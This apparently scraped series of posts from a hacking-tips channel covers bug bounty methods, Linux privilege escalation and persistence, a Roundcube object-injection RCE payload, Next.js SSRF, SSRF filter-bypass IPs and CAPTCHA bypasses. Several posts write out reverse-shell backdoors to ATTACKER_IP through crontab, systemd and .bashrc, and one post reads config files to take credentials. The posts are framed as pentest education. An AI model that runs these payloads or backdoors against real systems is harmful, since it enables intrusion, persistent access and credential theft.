🚀 NEW RELEASE: The Ultimate Bug Bounty Checklist! 🚀

Tired of missing critical vulnerabilities during your recon? We've got you covered!

I've just published a massive, comprehensive Web Application Security Testing Checklist on GitHub. It's designed to take you from initial recon all the way to post-exploitation, ensuring you don't miss a thing.

🔍 What's inside?

Phased approach: Recon, Config Testing, Auth, Input Validation, Business Logic & more!

Mapped to the latest OWASP Top 10 2023.

Tools recommendations and methodology.

This is your new go-to guide for structured and successful hacking.

Grab it now, contribute, and star the repo! ⭐️
👉 https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/CheckList/Comprehensive%20Web%20Application%20Security%20Testing%20Checklist.md

#BugBounty #WebSecurity #Checklist #OSINT #PenTesting #CyberSecurity #Infosec #OWASP #GitHub

🧠 Linux for Hackers Day 18
📍 Linux Kernel & Exploit Basics

Today we dive into the Linux Kernel — the heart of the operating system — and learn why hackers and pentesters focus on kernel exploits for privilege escalation.

🔹 What is the Kernel?

The kernel is the core of Linux that manages memory, processes, devices, and system calls.
Running in ring 0 (highest privilege), it has complete control of the system.

🔹 Checking Kernel Version
Attackers often start by fingerprinting the kernel:

uname -r        # Kernel version
uname -a        # Full system info
cat /proc/version

Example output:

5.4.0-77-generic

🔹 Why Kernel Version Matters
⚡️Each version may contain known vulnerabilities.
⚡️Exploit databases (ExploitDB, GitHub PoCs, etc.) can be searched against the version.

Example:
Dirty COW (CVE-2016-5195) affects many Linux versions.
OverlayFS (CVE-2015-1328) allows privilege escalation.

🔹 Enumerating Exploitable Kernels
Use scripts like:

linux-exploit-suggester.sh
lse.sh

- These tools compare your kernel & system info with known exploits.

🔹 Compiling & Running Exploits
Most exploits come in C:

gcc exploit.c -o exploit
./exploit

⚠️ Note: Always test in lab environments (VMs, Docker) before running on real systems.

✅ Pentester Tip:
- Kernel exploits are powerful but noisy.
- Always try “safer” privilege escalation methods (misconfigs, weak perms, sudo abuse) before dropping kernel exploits.

📢 Follow @CyberSecPlayground for more daily Linux hacking lessons, privilege escalation tricks, and exploit deep dives!

💬 Like & share to support the series

🔗 Read More

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam

🚨 CVE-2025-49113 – Roundcube Post-Auth RCE

A new vulnerability was discovered in Roundcube that allows Remote Code Execution (RCE) after authentication.

🔹 Vulnerability: Object Injection via _from parameter
🔹 Exploit Path: /upload.php
🔹 Impact: Post-authenticated attackers can execute arbitrary system commands.

🧪 Proof of Concept (PoC):

POST /upload.php
Content-Type: application/x-www-form-urlencoded

_from=O:8:"Exploit":1:{s:4:"code";s:13:"system('id');";}

This payload abuses PHP object injection, leading to direct command execution. Attackers can escalate from authenticated users to full system compromise.

📖 Reference & Details:
👉 https://nullsecurityx.codes/cve-2025-49113-roundcube-rce

🔗 More info on Github

🔐 Stay updated with the latest CVEs, PoCs, and exploitation techniques on @cybersecplayground.
💬 Share this with your community to spread awareness!

#BugBounty #CyberSecurity #roundcube #CVE2025 #RCE

🧠 Linux for Hackers Day 19
📍 Linux Persistence Techniques

Today we focus on how attackers and red teamers maintain persistence on compromised Linux machines. Understanding these techniques helps both defenders and pentesters.

🔹 1. SSH Key Persistence
Attackers often add their own SSH public key to the victim’s authorized_keys.

mkdir -p ~/.ssh
echo "attacker_public_key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

✅ Now they can log in anytime without a password.

🔹 2. Crontab Persistence
Add a malicious job that runs on reboot:

(crontab -l ; echo "@reboot /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -

✅This ensures a reverse shell starts whenever the system reboots.

🔹 3. Systemd Service Backdoor
Attackers can create malicious services:

cat << EOF > /etc/systemd/system/backdoor.service
[Unit]
Description=Backdoor Service

[Service]
ExecStart=/bin/bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backdoor.service
systemctl start backdoor.service

✅ Loads automatically at boot!

🔹 4. Bashrc/Profiles
Backdoors can be injected into .bashrc or /etc/profile.
Example:

echo "/bin/bash -i >& /dev/tcp/ATTACKER_IP/6666 0>&1" >> ~/.bashrc

🔹 5. Hidden Binary in PATH
Attackers place malicious binaries earlier in the PATH. For example:

echo 'export PATH=/home/user/.bin:$PATH' >> ~/.bashrc

If they drop a fake ls or sudo there → persistence with stealth.

✅ Pentester Tip: Always check persistence methods during post-exploitation. Defenders should monitor crontab, systemd, SSH keys, and bashrc changes.

📢 Follow @CyberSecPlayground for daily Linux hacking lessons, persistence tricks, and real-world pentesting insights!

💬 Like & share to support the series.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam

🔓 Captcha Bypass in Web Applications

Many websites use CAPTCHAs to stop bots from abusing login, signup, or form submissions. But attackers and bug bounty hunters know: most CAPTCHAs aren’t bulletproof.

🔑 Common Bypass Techniques

1️⃣ Reusing Captcha Tokens
- Some apps don’t invalidate CAPTCHA after it’s solved once.
- You can reuse the same token for multiple requests.

2️⃣ Weak Validation (Frontend-Only)
- If the CAPTCHA is only checked in JavaScript, you can bypass it by sending requests directly to the backend.

3️⃣ Predictable / Static Captchas
- Some sites use math-based or simple image CAPTCHAs that don’t change (e.g., “2 + 3 = ?”).
- Bots can be scripted to auto-solve them.

4️⃣ OCR (Optical Character Recognition)
- With tools like tesseract-ocr or ML models, text-based image CAPTCHAs can often be broken automatically.

5️⃣ Third-Party CAPTCHA Misconfigurations
-For services like Google reCAPTCHA, if the site doesn’t verify the response with the API properly, you can bypass by sending any random token.

6️⃣ Replay Attacks
-Captcha validation response is sometimes valid for more than one request. Capture it once, replay for multiple attempts.

7️⃣ Alternate Endpoints
-Some web apps have an API endpoint (like /api/register) that skips CAPTCHA entirely.

🛠 Bug Bounty Testing Tips
🔸 Always check replayability of solved CAPTCHAs.
🔸 Try direct API calls to skip UI checks.
🔸 Inspect network requests—see if CAPTCHA is verified server-side or just frontend.
🔸 Automate with Burp Suite Intruder or custom scripts.

👉 Master tricks like this and more on @cybersecplayground 🚀
Daily drops: bug bounty techniques, payloads, and CVEs!

#BugBounty #Captcha #Bypass #Hacking #WebSecurity #CyberSecurity

🧠 Linux for Hackers – Day 20
📍 Linux Services & Daemon Exploitation

Today we explore Linux services & daemons, how to enumerate them, and how attackers abuse misconfigurations to escalate privileges or move laterally.

🔹 What Are Services/Daemons?
➖ Background processes that provide functionality (web server, database, SSH).
➖ Common daemons: sshd, httpd (Apache), mysqld, redis-server.

🔹 Enumerating Services
Check running services:

ps aux | grep root
systemctl list-units --type=service
netstat -tulnp   # List listening ports
ss -tulnp        # Modern alternative

🔹 Privilege Escalation Opportunities
➖Services running as root can be abused.
➖Misconfigured daemons may allow code execution or file writes.

Examples:
➖ Apache misconfig (/var/www/html writable by www-data → webshell ).
➖ MySQL running without password for root.
➖ Redis RCE (writing SSH key into /root/.ssh/authorized_keys).

🔹 Exploiting Weak Service Configs
➖ Writable Service Files: If /etc/systemd/system/service.service is writable, attacker can hijack it.
➖ PATH Hijacking in service definitions.
➖ LD_PRELOAD injection via misconfigured services.

🔹 Lateral Movement via Services
- Database credentials often reused across systems.

⚡️ Attackers dump configs:

cat /etc/mysql/my.cnf
cat /var/www/html/config.php

to steal creds.

✅ Pentester Tip:
➖ Always check running services for:
➖ Weak file permissions.
➖ Config files with credentials.
➖ Services bound to 0.0.0.0 (exposed externally).

📢 Follow @CyberSecPlayground for daily Linux hacking lessons, persistence tricks, and real-world pentesting insights!

💬 Like & share to support the series.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

📌 Next.js Middleware SSRF via Header Injection

Did you know? Improperly handled headers in Next.js middleware can expose apps to SSRF (Server-Side Request Forgery) attacks.

💥 PoC Request

GET / HTTP/1.1
Host: target.com
Location: http://test.com
X-Middleware-Rewrite: http://test.com

✅ If the app blindly trusts the X-Middleware-Rewrite header, the server will fetch the attacker-controlled URL → SSRF triggered!

⚡️ Impact:
➕ Internal network access
➕ Fetching sensitive metadata (http://169.254.169.254)
➕ Potential pivot to RCE

🔍 Detection Tips:
✖️ Try injecting headers like X-Middleware-Rewrite & X-Middleware-Override.
✖️ Observe network callbacks (Burp Collaborator, Interactsh).
✖️ Look for unusual server behavior on crafted requests.

🛡 Mitigation:
▫️ Don’t trust client-supplied headers for rewrites.
▫️ Validate and sanitize all rewrite/redirect logic in middleware.
▫️ Apply SSRF protections (allowlists, block internal IP ranges).

🚀 Stay ahead of modern web exploits — follow @cybersecplayground for daily PoCs, CVEs, and bug bounty tactics.

🔗 Read full post : https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/SSRF/nextjs-middleware-ssrf.md

#SSRF #NextJS #BugBounty #WebSecurity #cybersecplayground

⚠️ CSP members , you can always read more ( Detailed version of posts ) in Github & Medium :

🔗 https://github.com/cybersecplayground
🔗 https://medium.com/@cybersecplayground

Dont forget to follow and Give Star on github&Medium
⭐️ CyberSecPlayground Forever

🧠 Linux for Hackers – Day 21
📍 Linux Capabilities & Exploitation (Beyond SUID)

Today we dig into Linux capabilities — a granular alternative to SUID — and why misusing them can lead to powerful escalation vectors.

🔹 What are capabilities?
They break root privileges into discrete rights (e.g., CAP_NET_ADMIN, CAP_SYS_ADMIN, CAP_SETUID) that can be attached to files so that processes executing those files gain specific privileges without full root.

🔹 Why they matter to hackers
Capabilities like cap_dac_read_search, cap_net_bind_service, or cap_sys_admin can let an attacker bypass file restrictions, bind low ports, mount filesystems, or otherwise act like root — all without a SUID binary.

🔹 Quick commands

# Find files with capabilities
getcap -r / 2>/dev/null

# Check a specific file
getcap /usr/bin/ping

# Grant/remove caps (TEST ONLY)
sudo setcap cap_net_raw+ep /usr/bin/ping
sudo setcap -r /usr/bin/ping

🔹 Attack patterns to study
➖ cap_net_bind_service on a binary used to host a stealthy backdoor on port 80.
➖ cap_dac_read_search allowing reading otherwise restricted files.
➖ cap_sys_admin on a replaceable binary → serious system compromise.

🔹 Defensive checklist
➖ Audit capabilities: getcap -r /.
➖ Ensure capable binaries are owned by root and not writable by untrusted users.
➖ Use FIM + AppArmor/SELinux and prefer distro-packaged capabilities.
➖ Remove unnecessary capabilities with setcap -r.

🔗 Read Full post at GITHUB - Medium
📢 Follow @CyberSecPlayground for daily deep-dive lessons and pentest techniques.

⚠️ Ethical reminder: use these techniques only in authorized labs.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

🔎 Automating Vulnerability Discovery

Tired of hunting manually? Let automation do the heavy lifting. 🚀
Here’s a quick workflow to find XSS, SQLi, SSRF, Open Redirects and more with just a few commands:

🛠 Steps

1️⃣ Google Dorking for PHP endpoints

site:*.company.com ext:php

2️⃣ Collect URLs + Parameters

echo https://company.com | gau | grep "?" | uro | httpx -silent > parameters.txt

3️⃣ Run Automated Fuzzing

nuclei -l parameters.txt -t fuzzing-templates

Nuclei offers robust support for fuzzing, which involves injecting unexpected or malformed data into various parts of an HTTP request to identify potential vulnerabilities. Nuclei templates are used to define these fuzzing scenarios.

⚡️ Key aspects of Nuclei fuzzing templates:
🔸 Comprehensive Fuzzing Support:
Nuclei allows fuzzing in various components of an HTTP request, including:
➕ Headers: Manipulating request headers.
➕ Cookies: Injecting payloads into cookie values.
➕ Paths: Fuzzing URL paths and parameters.
➕ Bodies: Supporting fuzzing for different body formats like JSON, XML, Form data, and Multipart/Form-Data.
➕ Query Parameters: Fuzzing values within the URL query string.

4️⃣ Profit 💰
✔️ Nuclei reports possible XSS, SQLi, SSRF, Open Redirects, and more!

🔥 Why This Works
➕ gau (GetAllURLs) → gathers archived endpoints
➕ uro → removes duplicates
➕ httpx → checks live hosts
➕ nuclei → scans for vulnerabilities using community templates

📌 Automating recon saves time & increases bug bounty success rates.
Try this workflow on your next target, and you might just hit gold. 🏆

🔗 Github | Medium

🔒 @cybersecplayground – Daily tips, payloads & PoCs.
#bugbounty #automation #xss #sqli #ssrf #recon #nuclei

⚡️ The Ultimate Cybersecurity Guide to SS7: The Internet's Secret Backdoor

Hello, hackers and learners! 👋 Welcome to a deep dive into one of the most critical yet overlooked aspects of telecommunications security. Whether you're a red teamer, blue teamer, or just a curious mind, understanding SS7 is essential because it underpins the global phone network we all rely on. This guide will break down everything you need to know, from its basic function to its terrifying vulnerabilities.

Read full post :
🔗 Github | Medium

#SS7 #Cybersecurity #TelecomSecurity #Hacking #Vulnerability #2FA #Privacy #Infosec #IoTsecurity #RedTeam #BlueTeam #cybersecplayground

🧠 Linux for Hackers – Day 22
📍 Advanced Persistence: systemd timers, user services & kernel modules

Today we cover advanced persistence attackers use and how to detect them: systemd user/system services and timers, rc.local/init scripts, autostart .desktop entries, kernel modules & DKMS, plus bootloader/firmware vectors.

Quick highlights:

➕ User-level systemd units (~/.config/systemd/user) + timers are stealthy and persistent.

➕ System-wide units in /etc/systemd/system/ give root persistence when writable.

➕ Kernel modules (insmod, DKMS) provide deep persistence but require root and are risky.

➕ GUI autostart entries and /etc/rc.local remain useful on many systems.

⚡️ Commands to practice:

systemctl --user enable --now backdoor.service
systemctl list-timers --all
getcap -r /  # (to look for capabilities discussed earlier)
lsmod; dmesg

Defense: monitor unit dirs, timer lists, module inserts, and use FIM/auditd.

📢 Follow @CyberSecPlayground for daily red-team techniques.

🔗 Read full post at GITHUB

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

📣 Weird Endpoint Behavior — What it tells you

Observed responses for GET /res-api/<ID>/...:

• /res-api/<ID>/qwertyasdf → 404 Not Found
• /res-api/<ID>/ → 403 Forbidden
• /res-api/<ID>/?anyparam → 200 OK

🧠 What this pattern suggests
➕ status is a public sub-resource (returns data).
➕ Unknown subpaths return 404 — normal routing.
➕The base path without query → 403 (auth required / forbidden).
➕Adding any query param to the base path flips it to 200 OK — indicates the backend treats the presence of query string differently (possible routing, auth bypass, or fallback behavior).

⚠️ Why this is interesting (attack surface)
➕Auth/Access bypass: If /?anyparam returns 200 while / is 403, a parameter-driven bypass might let unauthenticated users access resources.
➕Logic differences: The app may route requests differently when a query string is present (different middleware, different handler). That discrepancy can reveal misconfigurations.
➕Hidden behavior: Could be leftover debug/feature flags, permissive caching layer, or an API gateway quirk.

🛠 Quick tests to run (ethically, with permission)
➕ Try different params: ?a=1, ?debug=1, ?preview=true — see if content changes.
➕ Test HTTP methods: GET, POST, PUT, HEAD on /res-api/<ID>/?anyparam.
➕ Inspect headers returned for 200 vs 403 (cookies, auth, server, x-powered-by).
➕ Check status response for sensitive fields (IDs, emails, tokens).
➕ Attempt parameter-based escalation: ?id=<other-id>, ?user=admin.
➕ Try path normalization or encoding: /res-api/%3CID%3E/?anyparam or trailing slashes.
➕ Use Burp Repeater + Intruder to fuzz params & headers; grep for differences.
➕ Test whether query param bypass works for sensitive endpoints (write/delete actions) — only on authorized test targets.

🛡 How developers should fix this
▫️Normalize request handling: same auth logic for path/ and path/? variants.
▫️Ensure middleware/auth runs for all route variants (with or without query params).
▫️Add consistent canonicalization (redirect or 403) and document expected behaviour.
▫️Audit API gateway/proxy rules for query-string based routing.

💬 Found this useful? Follow @cybersecplayground for daily bug-hunting tips, payloads, and defensive checklists.

🔁 Share with your team — small quirks like this lead to big finds.
#bugbounty #infosec #apitesting #recon #authbypass #cybersecplayground

📣 Weird Endpoint Behavior — What it tells you

⚡️ You can also Read it on Github & Medium

⚠️ Dont Forget to Give Star and Follow our Github and Medium

1️⃣ @CyberSecPlayGround
#BugBountytips #BugBounty #endpoint #api

🐧 Tor IP Changer Setup Guide
Automate IP rotation for penetration testing and privacy

🔗 Repo: github.com/isPique/Tor-IP-Changer

🔧 Step 1: Start Tor Service
First, ensure Tor is installed and running as a background service:

sudo apt install tor          # Install Tor
sudo systemctl start tor      # Start Tor service
sudo systemctl status tor     # Verify it's running

Tor runs on SOCKS port 9050 by default
Use systemctl restart tor if you encounter connectivity issues

⚡️ Step 2: Configure Tor IP Changer
The Python script automates IP rotation by signaling Tor's control port.

1- Clone the repository:

git clone https://github.com/isPique/Tor-IP-Changer.git

2- Navigate to the project directory:

cd Tor-IP-Changer

3- Install required libraries:

pip install -r requirements.txt

4- Run the script:

sudo python3 IP-Changer.py

Control Port 9050 allows external tools to request new circuits (IP changes)
The script uses signal NEWNYM command to obtain a new exit node

🔄 Step 3: Route Traffic with ProxyChains
ProxyChains redirects any application's traffic through Tor.

🔸Edit /etc/proxychains4.conf:

dynamic_chain
proxy_dns
socks5 127.0.0.1 9050

⚡️ Usage Example:

proxychains nmap -sT target.com
proxychains firefox example.com

Works with most CLI and GUI applications
Prevents DNS leaks by routing DNS queries through Tor

💡 Pro Tips
➕ Check your IP: proxychains curl https://icanhazip.com
➕ Avoid rapid rotation: Tor may throttle requests faster than every 10 seconds
➕ Combine with VPNs or additional proxies for advanced chaining (see proxychains.conf)

⚠️ Important Notes
➕ Use only for authorized testing and legal privacy purposes
➕ Tor exit nodes may be blocked by some services
➕ No tool guarantees perfect anonymity

Like/Share if this helped! 🚀
Follow @cybersecplayground for more tool guides.

#Tor #Privacy #PenTesting #ProxyChains #CyberSecurity

🧠 Linux for Hackers – Day 23
📍 Containers & Docker

Containers share the host kernel — misconfigs are high-impact.
Understand container fundamentals (Docker), common misconfigurations, and how attackers abuse containers for privilege escalation and lateral movement. Includes detection and defensive advice. All commands and exploits should be tested only in authorized lab environments.

Quick checks:

cat /etc/os-release
ls -la /var/run/docker.sock
cat /proc/self/cgroup

- If /var/run/docker.sock is mounted → huge risk (can spawn host-root containers).

🔸 Key Docker components:
⚡️ dockerd — Docker daemon (runs on host, usually as root)
⚡️/var/run/docker.sock — Docker socket used to control Docker (highly privileged)
⚡️ Images and containers (docker images, docker ps)

🔸 Enumeration from Inside a Container
If you get a shell inside a container, enumerate to find breakout vectors:

# Basic container info
cat /etc/os-release
ps aux
env | sort
ls -la /proc/1/root  # check host mount points

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

- If docker.sock is accessible, you can control the Docker daemon from inside the container (host-level impact).

⚠️ Avoid --privileged, don’t mount host root or docker.sock, run as non-root.

📖 Full write-up on GitHub & Medium

📢 Join our channel for daily Tips/Tricks & PoCs : @cybersecplayground

#containers #docker #linux #infosec #pentesting #cybersecplayground

🛑 Some SSRF Payloads

Classic Bypasses:
➕ http://00000
➕ http://2130706433 (127.0.0.1 as decimal)
➕ http://0x7f.1 (hex + dot notation)
➕ http://metadata (short & sweet)

Why it works:
🔹 Blacklists often miss decimal/hex IP encoding
🔹 00000 → 0 → localhost in many parsers
🔹 metadata avoids 169.254.169.254 filters

Pro Tips:
➕ Try http://0x7f000001 (hex full IP)
➕ Use http://[::]:80 for IPv6 bypass
➕ Mix case: MetaData or MeTadAta

SSRF blacklists are the easiest to bypass.
Most regex filters fail on even basic encoding tricks.

Like/Share if you’ve pwned with these! 👇
Follow @cybersecplayground for daily payload drops.

#SSRF #BugBounty #WebSecurity #RedTeam #Hacking

🛠 What is IPFuscation?

IPFuscation is a technique to represent IP addresses in different formats like hexadecimal, decimal, and octal, which systems often interpret the same as standard dot-decimal notation. This can break regex rules for command-line logging or obfuscate cleartext strings to C2 locations.

⚡️ Using IPFuscator
Using the tool is straightforward:

Clone the repository:

git clone https://github.com/vysecurity/IPFuscator

Run the script:

python ipfuscator.py 127.0.0.1

The tool will output the IP in multiple formats:

Decimal: 2130706433
Hexadecimal: 0x7f000001
Octal: 017700000001
Mixed Formats: 0x7f.0x0.0.01 or 0177.0.0.01
Padded Formats: 0x000000000007f.0x000000000000000000000000000000.0x0000.0x0000000000000000000000001

You can use these outputs in commands like ping or for configuring C2 endpoints.

This tool fits perfectly with your theme of evasion techniques.

🔑 Why It Works
SSRF blacklists are often easy to bypass because they rely on simple pattern matching for strings like "127.0.0.1" or "localhost." Using alternative IP representations (decimal, octal, hex), obfuscation, or URL parsing tricks can easily break this logic

- Like/Share if you’ve pwned with these! 👇
- Follow @cybersecplayground for daily payload drops.

#SSRF #BugBounty #WebSecurity #RedTeam #Hacking

🔊 Xss payload list updated with new payloads .

https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/Payloads/XSS_Payload.txt